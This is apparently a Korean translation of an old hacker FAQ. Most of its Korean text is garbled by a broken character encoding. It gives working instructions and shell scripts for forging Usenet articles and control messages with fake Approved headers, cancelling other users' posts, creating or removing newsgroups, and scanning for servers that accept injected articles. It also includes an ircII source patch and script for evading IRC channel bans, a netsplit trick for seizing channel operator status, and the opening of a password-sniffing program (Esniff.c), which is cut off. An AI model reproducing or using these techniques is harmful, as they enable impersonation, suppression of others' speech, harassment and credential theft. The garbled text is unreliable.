"anonymous" ÀçÀü¼Û ¸ÞÀÏÀ» ÀÌ¿ëÇÏÁö ¾Ê´Â ÀÍ¸í ³Ý´º½º(netnews).
ÃÖ±Ù "NetNews Judges-L"¿¡ ¿µ°¨À» ¾ò¾î¼, ¿©±â¼ Á¦¾î ¸Þ½ÃÁö¸¦ À§Á¶ÇÏ´Â °ÍÀ» Æ÷ÇÔÇϵµ·Ï ÇÏ¿´´Ù. µû¶ó¼ µ¶ÀÚµéÀº ÀÚ½ÅÀÇ Åõ°í¸¦ Ãë¼ÒÇÏ°í ÀÚ½ÅÀÇ ´º½º±×·ìÀ» »ý¼ºÇÏ°í »èÁ¦ÇÒ ¼ö ÀÖ°Ô µÇ
¾ú´Ù. ¾î¶² ´º½º ±â»çµéÀ» ÀúÀåÇ϶ó. ¿©±â¼´Â ±×°ÍÀ» "hak"À̶ó°í ¿¹¸¦ µé¾î ºÎ¸£°Ú´Ù. "hak"À» ÆíÁýÇÏ°í ¹®¼Çü½Ä¿¡¼ ÇØ´õ´Â Á¦°ÅÇÑ´Ù.
From some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Xref:
Path: ÀÇ Çì´õ¸¦ ¸¶Áö¸· µÎ ¼¼ °³ÀÇ ±îÁö·Î ÁÙÀδÙ.
ÀÌ°ÍÀº ´º½º ±â»ç°¡ ¿ø·¡ÀÇ °÷¿¡¼ Æ÷½ÃÆà µÈ °Íó·³ º¸À̰ųª, º¸³½ °÷ÀÇ ±ÙóÀÇ È£½ºÆ®¿¡¼ º¸³½ °Í ó·³ ¸¸µç´Ù. ¶Ç´Â ÀüÇô »õ·Î¿î Path: ÁÙÀ» ¸¸µé¾î¼ °¡Â¥ ¿¡Àϸ®¾î½º(alias)¸¦ ³ªÅ¸³»°Ô ÇÒ ¼ö ÀÖ´Ù.
´Ù¸¥ °÷°ú °ãÄ¡Áö ¾ÊÀ»¸¸ÇÑ °ÍÀ¸·Î Message-ID: Çʵ带 º¯°æÇÑ´Ù. ÀÌ°ÍÀº @¾Õ¿¡ µÎ ÀÚ Á¤µµÀÇ ¾Æ¹« ±ÛÀÚ³ª Ãß°¡ÇÔÀ¸·Î¼ ÇÒ ¼ö ÀÖ´Ù. ¿Ö³ÄÇÏ¸é ´º½º Æ÷½ºÆà ÇÁ·Î±×·¥Àº ´ë°³ °íÁ¤±æÀÌ Çʵ带 ÀÌ¿ëÇÏ¿© ÀÌ·¯ÇÑ ID¸¦ ¸¸µé±â ¶§¹®ÀÌ´Ù.
¾²°í ½ÍÀº ¾Æ¹« °ÍÀ̳ª¸¦ ´Ù¸¥ ÇØ´õ¿¡ ³Ö´Â´Ù. --From:, Newsgroups:,
Sender: µî. ¿ø·¡ÀÇ ¸Þ½ÃÁö¸¦ ÀÚ½ÅÀÇ ¸Þ½ÃÁö·Î ¹Ù²Û´Ù. °ü¸®µÇ°í ÀÖ´Â ´º½º±×·ì¿¡ Æ÷½ºÆÃÀ» ÇÒ ¶§³ª Á¦¾î ¸Þ½ÃÁö¸¦ Æ÷½ÃÆÃÇÒ ¶§, Approved: Çì´õ¸¦ ³Ö¾î¼ °ü¸® ¸ÞÄ«´ÏÁòÀ» ÇÇÇØ°¡´Â °ÍÀ» ÀØÁö ¸»¾Æ¾ß ÇÑ´Ù.
´Ù¸¥ »ç¶÷ÀÇ ±â»ç¸¦ Ãë¼ÒÇÒ·Á°í ÇÒ ¶§, ±×°ÍÀÇ message-ID°¡ ÀÖ¾î¾ß ÇÑ´Ù. ÀÌ¹Ì ÀÖ´Â ¸Þ½ÃÁö Çì´õ¿Í ÀÚ½ÅÀÇ ¸Þ½ÃÁö Çì´õ´Â message-ID¿Í ´õºÒ¾î ´ÙÀ½°ú °°Àº °ÍÀ» Æ÷ÇÔÇØ¾ß ÇÑ´Ù. ÀÌ°ÍÀº "control message"¸¦ ¸¸µç´Ù. ÁÖÀÇ: Á¦¾î ¸Þ½ÃÁö(control messages)´Â ´ë°³ Approved: ÇØ´õ°¡ ÇÊ¿äÇϹǷΠÇϳª¸¦ Ãß°¡Çϵµ·Ï ÇÑ´Ù.
Approved: header as well, so you should add one.
Subject: cmsg cancel <[email protected]>
Control: cancel <[email protected]>
Approved: [email protected]
Newsgroups are created and destroyed with control messages, too. If
you wanted to create, for instance, comp.misc.microsoft.sucks, your
control headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
±×·ìÀÌ "moderated with no moderator"(°ü¸®ÀÚ¾øÀÌ °ü¸®µÊ)À» ¿øÇÒ °æ¿ì ¹®ÀÚ¿ "moderated"¸¦
ÀÌ ³¡¿¡ ºÙÀδÙ. ¸Þ½ÃÁöÀÇ º»¹® Áß°£¿¡ »ý¼ºÇÏ·Á´Â ±×·ì¿¡ ´ëÇÑ ¼³¸í°ú ÇÔ²² º¯°æµÈ ´ÙÀ½°ú °°Àº ÅؽºÆ®¸¦ Æ÷ÇÔÇØ¾ß ÇÑ´Ù.
For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows
±×·ìÀ» ¾ø¾Ö±â À§Çؼ ¾ÕÀÇ Çì´õ ÁÙ¿¡¼ "newsgroup"¸¦
"rmgoup"À¸·Î ´ëÄ¡ÇÑ´Ù. ´ëºÎºÐÀÇ »çÀÌÆ®¿¡¼ "rmgroup"
¿äûÀ» °ü¸®ÇÏ´Â »ç¶÷ÀÌ ±×·¸°Ô ÇÒ °ÍÀÎÁö ¾Æ´ÑÁö¸¦ Á¤ÇÏ°Ô ÇÏ°í ÀÖ´Ù´Â
°ÍÀ» ¸í½ÉÇÏÀÚ. ±×·ì »ý¼ºÀº ¾Æ¸¶µµ »èÁ¦º¸´Ù´Â ÀÚµ¿ÈµÇ¾î ÀÖÀ» °ÍÀÌ´Ù.
´º½º±×·ì º¯°æÀº ³ª ÀÚ½ÅÀ¸·ÎºÎÅÍÀÇ °ÍÀÏ °æ¿ì È¿°ú°¡ ÀÖÀ» °¡´É¼ºÀÌ
³ô¤§. ¿Ö³ÄÇÏ¸é ³ªÀÇ À̸§ÀÌ ¸¹Àº NNTP ¼¹öÀÇ Á¦¾î ½ºÅ©¸³Æ®¿¡ µé¾î
Àֱ⠶§¹®ÀÌ´Ù. µû¶ó¼ ÀÌ Æ÷½ºÆÃÀÇ Çì´õ·ÎºÎÅÍ From: °ú Approved:
À» ÀÌ¿ëÇÏÀº °ÍÀ» ±Ç°íÇÑ´Ù.
º¯°æµÈ ±â»ç¸¦ ÀúÀåÇÏ°í ÀÚ½ÅÀÇ »çÀÌÆ®³ª ÀÚ½ÅÀ» °¡¸®Å°´Â
°ÍÀÌ ¾øµµ·Ï È®½ÇÇÏ°Ô ÇÑ´Ù. ±×¸®°í ÀÚ½ÅÀÌ Á¦ÀÏ ÁÁ¾ÆÇÏ´Â IHAVE ¸í·ÉÀ»
Àü´ÞÇÒ ¼ö ÀÖ´Â NNTP ¼¹ö¿¡ º¸³½´Ù. ÀÌ ¶§ ´ÙÀ½°ú °°Àº ½ºÅ©¸³Æ®¸¦
ÀÌ¿ëÇÑ´Ù.
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
±â»ç°¡ ÇϷ糪 ÀÌƲ »çÀÌ¿¡ ³ªÅ¸³ªÁö ¾ÊÀ» °æ¿ì, ´Ù¸¥ ¼¹ö¸¦ ½ÃµµÇغ»´Ù. ¼¹ö´Â ã±â ½±´Ù. ¿©±â¿¡ ÀúÀåµÈ ³×Æ®´º½º¸¦ ½ÃµµÇØ º¼ ¼ö ÀÖ´Â ¼¹öÀÇ ¸ñ·ÏÀ¸·Î ³ª´©¾îÁÖ´Â ½ºÅ©¸³Æ®°¡ ÀÖ´Ù. ¿©±â¼ ³ª¿À°Ô µÉ °á°ú¸¦ ÆíÁýÇÏ¿© »ç¶÷ À̸§ÀÌ ºÐ¸íÇÑ °Í°ú ´Ù¸¥ ¾²·¹±âµéÀ» Á¦°ÅÇÏ°í »ç¿ëÇÏ¸é µÈ´Ù.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave [email protected]
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
À§ÀÇ ½ºÅ©¸³Æ®ÀÇ À̸§ÀÌ "findem"ÀÌ°í cshÀ» ÀÌ¿ëÇÏ°í ÀÖ´Ù¸é,
findem < list >& outfile
¶ó°í ¸í·É¾î¸¦ ÀÔ·ÂÇÏ¿© ¸ðµç telnetÀÇ Ãâ·ÂÀ» ÀúÀåÇÒ ¼ö ÀÖµµ·Ï ÇÑ´Ù. ½Ã°£ÀÌ ¿À·¡°É¸± ¼öµµ ÀÖÀ¸³ª, ³¡³ª¸é "outfile"À» ÆíÁýÇÏ°í "335"°¡ ÀÖ´Â °÷À» ã´Â´Ù. ÀÌ°ÍÀº ¼¹ö°¡ ±â»ç¸¦ ¹ÞÀ» Áغñ°¡ µÇ¾ú´Ù´Â °ÍÀ» ÀǹÌÇÑ´Ù. ÀÌ°ÍÀº ¿ÏÀüÈ÷ ¹ÏÀ»¸¸ÇÑ Ç¥½Ã´Â ¾Æ´Ï´Ù. ¿Ö³ÄÇÏ¸é ¾î¶² ¼¹ö´Â ±â»ç¸¦ ¹Þ°Ú´Ù°í ÀÀ´äÀ» ÇÏ°í³ª¼ ±â»ç¸¦ ¹ö¸®´Â °æ¿ìµµ Àֱ⠶§¹®ÀÌ´Ù. ´Ù¸¥ »ç¶÷ÀÇ ¸Þ½ÃÁö¸¦ ¾à°£¸¸ º¯ÇüÇؼ ¼¹ö¿¡ º¸³»º» µÚ ±â»ç³ª ³ªÅ¸³ª´ÂÁö¸¦ È®ÀÎÇÑ´Ù. ¶§¶§·Î telnetÀÌ ÀÌ»óÇÑ »óÅ¿¡ ºüÁ® ¸ØÃ߱⵵ ÇÑ´Ù. ƯÈ÷ ¼¹ö°¡ NNTP ¿¬°áÀ» °ÅºÎÇÏ´Â °æ¿ì¿¡ ƯÈ÷ ±×·¸´Ù. ¸¸ÀÏ ¸ØÃß¾î ¹ö¸° telnet ÇÁ·Î¼¼½º¸¦ kill¸í·ÉÀ¸·Î Á×ÀÌ°í ½ºÅ©¸³Æ®´Â ¼öÇà»óÅ·Π³õ¾ÆµÐ´Ù¸é, ½ºÅ©¸³Æ®´Â °è¼Ó ¼öÇàµÈ´Ù. ´Ù½Ã ¸»Çؼ ¼öÇàÁßÀÎ finding script¸¦ Àá½Ã °¨½ÃÇØ¾ß ÇÑ´Ù.
IHAVE ¸¦ ¹Þ¾ÆµéÀÌÁö ¾ÊÀ¸¸é¼ "posting ok"¸¦ º¸³»´Â ¼¹ö¸¦ ¹ß°áÇÒ ¼öµµ ÀÖ´Ù. ÀÌ·± ¼¹öµéÀº POSTS¸¦ ÅëÇؼ ÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ±×·¯³ª, ÀÌ·± ¼¹öµéÀº ¾îµð¼ºÎÅÍ ¿¬°áµÈ °ÍÀÎÁö¸¦ Æ÷ÇÔÇÏÀº Çì´õ¸¦ °¡Áö´Â "NNTP-Posting-Host: "¸¦ Ãß°¡ÇÒ °ÍÀÌ´Ù. ±×·¯¹Ç·Î ¿ÏÀüÈ÷ À͸íÀÌ µÉ ¼ö ¾ø´Ù.
¿©±â¿¡ ³ª¿Â Á¤º¸¸¦ °Ç¼³ÀûÀÎ ¸ñÀûÀ¸·Î¸¸ »ç¿ëÇϱ⸦
¹Ù¶õ´Ù.
IRC¿¡¼ ¾î¶»°Ô ChanOp(channel operator)¸¦ ÇØÅ·ÇÒ
¼ö ÀÖ³ª?
´Ù¸¥ IRC ¼¹öµé°ú ºÐ¸®µÈ ¼¹ö¸¦ ã¾Æ³½´Ù. ±×¸®°í
ä³Î OP°¡ µÇ°í ½ÍÀº ä³ÎÀÇ À̸§À» °¡Áö°í »õ·Î¿î ä³ÎÀ» ¸¸µç´Ù.
¼¹ö°¡ IRC ³×Æ®¿öÅ©¿¡ ¿¬°áµÉ ¶§, ½ÇÁ¦ ä³Î¿¡¼µµ OP±î µÈ´Ù. ¼¹ö
OPÀÏ °æ¿ì °íÀÇ·Î ¼¹ö¸¦ ºÐ¸®ÇÒ ¼ö ÀÖ´Ù.
¾î¶»°Ô IRC Ŭ¶óÀ̾ðÆ®¸¦ °íÃļ ³» ÁøÂ¥ À̸§À» ¼û±æ
¼ö ÀÖ³ª?
ÁÖ¸ñ : ÀÌ FAQ´Â ´Ù¸¥ »ç¶÷ÀÌ ÀÛ¼ºÇÑ °ÍÀÌ´Ù. ±×·¯³ª,
³ª´Â ±×°¡ ´©±¸ÀÎÁö ¸ð¸¥´Ù. ´©°¡ óÀ½ ÀÌ°ÍÀ» ÀÛ¼ºÇß´ÂÁö ¾Æ´Â »ç¶÷Àº
¸ÞÀÏÀ» º¸³»ÁÖ¾úÀ¸¸é ÁÁ°Ú´Ù.
-Àο빮 ½ÃÀÛ-
ircII Ŭ¶óÀ̾ðÆ®ÀÇ ¿ø½ÃÄڵ忡 ´ÙÀ½°ú °°Àº º¯°æÀ»
ÇÏ°í³ª¼ ´Ù½Ã ÄÄÆÄÀÏÀ» ÇÒ °æ¿ì »õ·Î¿î ¸í·É /NEWUSER ¸í·ÉÀ» »ç¿ëÇÒ
¼ö ÀÖ´Ù. ÀÌ ¸í·ÉÀº ´ÙÀ½°ú °°ÀÌ »ç¿ëÇÒ ¼ö ÀÖ´Ù.
<new_username>Àº »ç¿ëÇÏ°Ô µÉ »õ·Î¿î »ç¿ëÀÚ À̸§À̸ç ÇʼöÀÌ´Ù. [new_IRCNAME]Àº »õ·Î »ç
¿ëÇÏ°Ô µÉ IRCNAMEÀÌ¸ç ¿É¼ÇÀÌ´Ù.
ÀÌ·¸°Ô Çϸé ÀÏ´Ü ¼¹ö¿¡¼ ºÐ¸®ÇÏ°í³ª¼ »õ·Î¿î Á¤º¸¸¦
ÀÌ¿ëÇÏ¿© ´Ù½Ã Á¢¼ÓÇÏ°Ô µÈ´Ù. ÇöÀç ÀÖ´ø ¸ðµç ä³Î¿¡ ´Ù½Ã µé¾î°¡°ÔµÇ°í
ÇöÀç º°¸í(nickname)À» À¯ÁöÇÑ´Ù.
È¿°ú´Â ¼öÇàÁß¿¡ »ç¿ëÀÚÀ̸§°ú IRCnameÀ» ¹Ù²Ü¼ö ÀÖ´Ù´Â
°ÍÀÌ´Ù. ¼¹ö¿¡¼ ºÐ¸®µÇ¾ú´Ù°¡ ´Ù½Ã Á¢¼ÓÇÏ´õ¶óµµ ircII Ŭ¶óÀ̾ðÆ®´Â
ºüÁ®³ª°£ °ÍÀÌ ¾Æ´Ï´Ù. ±×·¯¹Ç·Î »óÅÂÁ¤º¸³ª ¿¡À̸®¾î½º(alias)Àº
±×´ë·Î À¯ÁöµÈ´Ù. ÀÌ ¹æ¹ýÀº ±ÝÁö(ban)»óÅ¿¡ ÀÖ´Â (ro)botµéÀ» Á¤¸»·Î
±ÍÂú°Ô Çϴµ¥ ÀÌ»óÀûÀÌ´Ù.
ÀÌ°ÍÀº ircII¿¡¼ »õ·Î¿î ¸í·ÉÀ̹ǷΠ½ºÅ©¸³Æ®·Î »ç¿ëÇÒ ¼ö ÀÖ´Ù. NEWUSER ¸í·ÉÀ¸·Î ÀçÁ¢¼ÓÇÒ ¶§ ½Ã°£ÀÌ °É¸°´Ù´Â µ¥ À¯ÀÇÇϱ⠹ٶõ´Ù. NEWUSER ´ÙÀ½¿¡ ¼öÇàµÇ¾î¾ß ÇÒ ¸í·É¿¡ TIMER¸¦ ÁÖµµ·Ï Ç϶ó. ¿¹¸¦ µé¾î, ban ȸÇÇ´Â ¸Å¿ì ½±´Ù(±×·¯³ª »çÀÌÆ® Àüü°¡ ±ÝÁöµÇ¾úÀ» ¶§ ¹«ÇÑ ÀçÁ¢¼ÓÀ» ½ÃµµÇÏ°Ô µÊ¿¡ À¯ÀÇÇ϶ó)
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}
¶Ç´Â ±ÍÂú°Ô Çϱâ À§Çؼ /BE <nickname> Àº username°ú IRCNAMEÀ» ¿¡Àϸ®¾î½ºÇÒ ¼ö ÀÖ´Ù.
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}
ÀÌÁ¦.. ircII Ŭ¶óÀ̾ðÆ®¿¡ »õ·Î¿î ¸í·ÉÀ» Ãß°¡Çϱâ À§Çؼ, ÃֽŠŬ¶ó¾ðÆ®ÀÇ ¼Ò½º Äڵ带 ±¸ÇÏ°í
(¾Æ´Ï¸é Áö±Ý »ç¿ëÇÏ°í Àִ Ŭ¶óÀ̾ðÆ®ÀÇ ¼Ò½ºÄÚµå¶óµµ).
"edit.c"°¡ ÀÖ´Â µð·ºÅ丮·Î µé¾î°¡¼ ±× ÆÄÀÏÀ» °íÄ£´Ù.
´ÙÀ½°ú °°Àº ¼öÁ¤À» ÇÑ´Ù.
´ÙÀ½ ¹®ÀåÀÌ ÀÖ´Â ÁÙÀ» ã´Â´Ù.
extern void server();
´ÙÀ½°ú °°Àº ¹®ÀåÀ» ±× ÁÙ µÚ¿¡ ³Ö´Â´Ù.
static void newuser();
ÀÌ°ÍÀº µÚ¿¡ Ãß°¡ÇÒ "newuser()"ÇÔ¼ö¸¦ ¹Ì¸®
Á¤ÀÇÇÑ´Ù.
ÀÌÁ¦, ´ÙÀ½°ú °°Àº ¹®ÀåÀÌ ÀÖ´Â ÁÙÀ» ã´Â´Ù.
"NAMES", "NAMES", funny_stuff, 0,
±× µÚ¿¡ ´ÙÀ½°ú °°Àº ¹®ÀåÀ» ³Ö´Â´Ù.
"NEWUSER", NULL, newuser, 0,
À̸®Çϸé Á¤´çÇÑ IRCII ¸í·É¿¡ NEWUSER¶ó´Â »õ·Î¿î ¸í·ÉÀ»
Ãß°¡ÇÏ°Ô µÈ´Ù. ±×¸®°í ±× ±â´ÉÀ» ¼öÇàÇϱâ À§Çؼ »õ·Î¿î ÇÔ¼ö newuser()¸¦
ºÎ¸£°Ô ÇÑ´Ù.
¸¶Áö¸·À¸·Î ÆÄÀÏÀÇ ¸Ç ³¡À¸·Î°¡¼ "newuser()"ÇÔ¼ö¸¦ Ãß°¡ÇÑ´Ù.
/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER <new_username> [new_IRCNAME]
* <new_username> is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.
*/
static void newuser(command, args)
char *command,
*args;
{
char *newuname;
if (newuname = next_arg(args, &args))
{
strmcpy(username, newuname, NAME_LEN);
if (*args)
strmcpy(realname, args, REALNAME_LEN);
say("Reconnecting to server...");
close_server(from_server);
if (connect_to_server(server_list[from_server].name,
server_list[from_server].port, primary_server) != -1)
{
change_server_channels(primary_server, from_server);
set_window_server(-1, from_server, 1);
}
else
say("Unable to reconnect. Use /SERVER to connect.");
}
else
say("You must specify a username and, optionally, an IRCNAME");
}
-Àο빮 ³¡-
/NEWUSER´Â CTCP Äõ¸®(query)¿¡¼ ¼û°ÜÁÙ ¼ö ÀÖ´Â °ÍÀÌ
¾Æ´Ï´Ù. ±×·¸°Ô Çϱâ À§Çؼ´Â ctcp.c¸¦ ´ÙÀ½¿¡¼ º¸¿©ÁÖ´Â ¹Ù¿Í °°ÀÌ
¼öÁ¤ÇØ¾ß ÇÑ´Ù. ±×¸®°í CTCPFINGER¶ó´Â ȯ°æº¯¼ö¸¦ Äõ¸®°¡ µé¾î¿Ã
¶§ º¸¿©ÁÖ°íÀÚ ÇÏ´Â Á¤º¸·Î ¼³Á¤ÇÏ¸é µÈ´Ù.
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
! char c;
--- 334 ---
! char c, *fing;
***************
*** 350,354 ****
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 350,356 ----
! if (fing = getenv("CTCPFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
ÀÌ»óÇÑ ¹®ÀÚ°¡ µé¾îÀÖ´Â µð·ºÅ丮¿¡ ¾î¶»°Ô µé¾î°¥ ¼ö
ÀÖ³ª?
ÀÌ·¯ÇÑ µð·ºÅ丮´Â Á¤º¸¸¦ ¼û±â°íÀÚ ÇÏ´Â »ç¶÷µé¿¡ ÀÇÇؼ
ÀÌ¿ëµÈ´Ù. ´ëºÎºÐÀº warez(ºÒ¹ý »ó¾÷¿ë ÇÁ·Î±×·¥)ÀÇ »ç¶÷µéÀÌ´Ù.
ÀÌ·¯ÇÑ ÀÌ»óÇÑ ¹®ÀÚ°¡ ¹«¾ùÀÎÁö ¾Ë¾Æ³»´Â ¸î°¡Áö ¹æ¹ýÀÌ
ÀÖ´Ù. ÇÑ °¡Áö ¹æ¹ýÀ¸·Î ls ¸í·ÉÀÇ ÀμöÀ» ÀÌ¿ëÇÏ¿© ls°¡ Á¤º¸¸¦ º¸¿©ÁÖµµ·Ï
ÇÏ´Â ¹æ¹ýÀÌ´Ù.
> lsÀÇ man ÆäÀÌÁö¿¡ ´ÙÀ½°ú °°ÀÌ ¼³¸íµÇ¾î ÀÖ´Ù.
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
¾Æ¸¶µµ °¡Àå À¯¿ëÇÑ µµ±¸´Â "ls -al filename"À»
¼öÇàÇÏ¿© ftp »çÀÌÆ®¿¡ ÀÖ´Â µð·ºÅ丮 À̸§À» ÀÚ½ÅÀÇ ±â°è¿¡ ÀúÀåÇÏ´Â
°ÍÀÌ´Ù. ±×¸®°í³ª¼ "cat -t -v -e filename"À» ¼öÇàÇÏ¿©
¾î¶² ÀÌ»óÇÑ ¹®ÀÚµéÀÌ µé¾î ÀÖ´ÂÁö º¼ ¼ö ÀÖ´Ù.
> catÀÇ man ÆäÀÌÁö¿¡ ´ÙÀ½°ú °°ÀÌ ¼³¸íµÇ¾î ÀÖ´Ù.
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (<Ctrl>x), where X is the key pressed with
the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The
<Del> character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
¸¸ÀÏ µð·ºÅ丮 À̸§¿¡ <SPACE>³ª <TAB>ÀÌ µé¾î ÀÖ´Ù¸é µû¿ÈÇ¥ ¾È¿¡ µð·ºÅ丮 À̸§ Àüü¸¦ ³ÖÀ¸¸é µÈ´Ù. ¿¹¸¦ µé¾î
cd "..<TAB>"
IBM-PC¿¡¼´Â ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ Ä¡±â À§Çؼ <ALT>Å°¸¦
´©¸£°í ¼ýÀÚÆÇ¿¡ ÀÖ´Â ¼ýÀÚ¸¦ ´·¯¼ ASCII ¹øÈ£¿¡ ¸Â°Ô ³Ö¾îÁÖ¸é
µÈ´Ù. <ALT>¸¦ ¶¼¸é ȸ鿡 Ư¼ö ¹®ÀÚ°¡ Ç¥½ÃµÈ´Ù. ASCIIÇ¥¸¦
ÀÌ¿ëÇϸé Æí¸®ÇÏ´Ù.
¶§¶§·Î »ç¶÷µéÀº Ç¥ÁØ stty ÄÁÆ®·Ñ ¹®ÀÚ¸¦ °¡Áö°í µð·ºÅ丮
À̸§À» ¸¸µç´Ù. ^Z(ÀϽÃÁ¤Áö), ^C(intr)°ú °°Àº. ÀÌ·¯ÇÑ ¹®ÀÚ¸¦ Æ÷ÇÔÇÏ´Â
µð·ºÅ丮¿¡ µé¾î°¡±â À§Çؼ´Â »ç¿ëÀÚ sttyÀÇ ÄÁÆ®·Ñ ¹®ÀÚ¸¦ ´Ù¸¥
°ÍÀ¸·Î ¼³Á¤ÇØ¾ß ÇÑ´Ù.
> sttyÀÇ man ÆäÀÌÁö¿¡ ´ÙÀ½°ú °°ÀÌ ¼³¸íµÇ¾î ÀÖ´Ù.
Control assignments
control-character C
Sets control-character to C, where control-character is
erase, kill, intr (interrupt), quit, eof, eol, swtch
(switch), start, stop or susp.
start and stop are available as possible control char-
acters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding con-
trol character (for example, ^D is a <Ctrl>d; ^? is
interpreted as DELETE and ^- is interpreted as unde-
fined).
stty -a ¸í·ÉÀ» ÀÌ¿ëÇؼ sttyÀÇ ÇöÀç ¼³Á¤ÀÌ ¾î¶»°Ô
µÇ¾î ÀÖ´ÂÁö ¾Ë¼ö ÀÖ´Ù. ±×¸®°í ¾î¶² °ÍÀÌ ¹®Á¦¸¦ ÀÏÀ¸Å°°í ÀÖ´ÂÁö
¾Ë ¼ö ÀÖ´Ù.
ÀÌ´õ³Ý ¿³º¸±â(ethernet sniffing)¶õ ¹«¾ùÀΰ¡?
ÀÌ´õ³Ý ÈÉÃ帱â´Â (¼ÒÇÁÆ®¿þ¾î¸¦ ÀÌ¿ëÇÏ¿©) Èï¹Ì¸¦
²ô´Â ÆÐŶÀ» raw ÀÌ´õ³Ý ÀåÄ¡¸¦ ÅëÇؼ ÇÏ°Ô µÈ´Ù. ¤¼Á¤ Á¶°Ç¿¡ ¸Â´Â
ÆÐŶÀ» ¼ÒÇÁÆ®¿þ¾î¿¡¼ ¹ß°ßÇϸé, ÆÄÀÏ¿¡ ÀúÀåÇÑ´Ù. À¯¿ëÇÑ ÆÐŶ¿¡
´ëÇÑ ÀÏ»óÀûÀÎ ±âÁØÀ¸·Î´Â "login"À̳ª "password"¿Í
°°Àº ´Ü¾î¸¦ Æ÷ÇÔÇÏ´Â °ÍÀÌ´Ù.
¸¹Àº ÀÌ´õ³Ý ÈÉÃ帱â ÇÁ·Î±×·¥ÀÌ ÀÖ´Ù. ¿¹¸¦ µé¸é ´ÙÀ½°ú °°´Ù.
OS Sniffer
~~ ~~~~~~~
4.3/4.4 BSD tcpdump /* Available via anonymous ftp */
FreeBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD tcpdump /* Available via anonymous ftp at */
/* gatekeeper.dec.com
/* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix tcpdump /* Available via anonymous ftp */
DEC Ultrix tcpdump /* Available via anonymous ftp */
HP/UX nettl (monitor)
& netfmt (display)
nfswatch /* Available via anonymous ftp */
Linux tcpdump /* Available via anonymous ftp at */
/* sunsite.unc.edu */
/* /pub/Linux/system/Network/management/ */
SGI Irix nfswatch /* Available via anonymous ftp */
Etherman
tcpdump /* Available via anonymous ftp */
Solaris snoop
tcpdump
SunOS etherfind
nfswatch /* Available via anonymous ftp */
tcpdump /* Available via anonymous ftp */
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
¿©±â¿¡ ¿¹Á¦ Äڵ尡 ÀÖ´Ù.
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
#define SZETH (sizeof(struct ether_header))
#define IPLEN (ntohs(ip->ip_len))
#define IPHLEN (ip->ip_hl)
#define TCPOFF (tcph->th_off)
#define IPS (ip->ip_src)
#define IPD (ip->ip_dst)
